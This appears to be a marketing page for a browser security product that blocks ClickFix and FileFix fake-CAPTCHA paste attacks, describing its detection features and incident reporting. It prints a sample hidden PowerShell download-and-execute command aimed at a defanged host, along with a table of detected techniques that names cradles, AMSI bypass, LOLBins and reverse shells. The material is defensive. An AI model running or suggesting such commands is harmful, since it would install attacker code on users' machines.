ClickFix & FileFix: the attack is the paste.
A fake CAPTCHA, error or “verification step” copies a command into the clipboard and talks the user through three keystrokes that run it. The browser was the only place that saw it coming.
Why it works
ClickFix needs no exploit and no download prompt. The user runs the command themselves, so email gateways see a normal link, web proxies see a normal page, and endpoint tools only react once PowerShell is already running.
In Microsoft’s 2025 Digital Defense Report, ClickFix was the most common initial-access technique in Defender Experts notifications — 47% of cases. Variants now target the File Explorer address bar (FileFix), macOS Terminal and Linux shells.
How ByteMantle stops it
- Every clipboard write is inspected — from the page, from iframes, and from tricks that call the browser’s clipboard API directly.
- The command is de-obfuscated and matched against 92 rules for Windows, macOS and Linux.
- The clipboard is neutralized before the user can paste. The page keeps working; the command is gone.
- The lure is recognised — fake CAPTCHAs, keyboard-shortcut instructions in several languages, anti-DevTools tricks.
- Everything becomes one incident with the decoded command, the rules, MITRE T1204.004 and the site’s infrastructure.
This page tried to make you run a hidden command. Nothing was executed.
What the evidence looks like
Instead of “a paste was blocked”, your team gets the command the attacker wanted to run:
powershell -w hidden -c "iex(irm hxxps://cdn-•••[.]top/…)"
rules: ps_iex_irm · ps_hidden_dl
mitre: T1204.004 User Execution: Malicious Copy and Paste
T1059.001 PowerShell
site: •••••-check[.]top (registered 4 days ago)The same command hash is tracked across devices in the console, so one blocked attempt tells you whether anyone else met it.
Covered techniques (examples)
| Family | Examples |
|---|---|
| PowerShell cradles | iex(irm …), iwr | iex, WebClient downloads, -EncodedCommand, char-join and XOR obfuscation, AMSI bypass |
| Windows LOLBins | mshta, rundll32 over WebDAV, regsvr32 scriptlets, certutil, bitsadmin, msiexec from URL, finger, nslookup payloads, conhost --headless |
| Staging & persistence | net use / pushd WebDAV mounts, Run-key persistence, scheduled tasks |
| macOS | bash -c "$(curl …)" from plain HTTP or raw IPs, osascript, quarantine removal, AppleScript URLs |
| Linux | curl | sh to untrusted hosts, Base64 pipes, reverse shells |
The whole story, not just the blocked paste
A ClickFix lure rarely sits on the site the user meant to visit. In the console, the incident starts where the attack started:
- Where the user came from: a search, a link in web mail or another site, and the redirects that led to the lure.
- Which script loaded which: on a compromised site, the site’s own script that pulled in the attacker’s loader, so you know what to clean.
- The campaign: the same payload host or command template on other sites and devices, grouped into one infrastructure on the campaign map.
- The exposed software Enterprise: the outdated content management system or plugin the compromised site reports, with its known vulnerabilities.
Read the guideWhat is ClickFix? A guide for IT teams · A CAPTCHA asked you to press Windows + R · Chrome’s ClickFix warning vs a security extension
Want to see it on your own browsers?
Free protection for everyone; trials, proofs of concept and pilots for teams.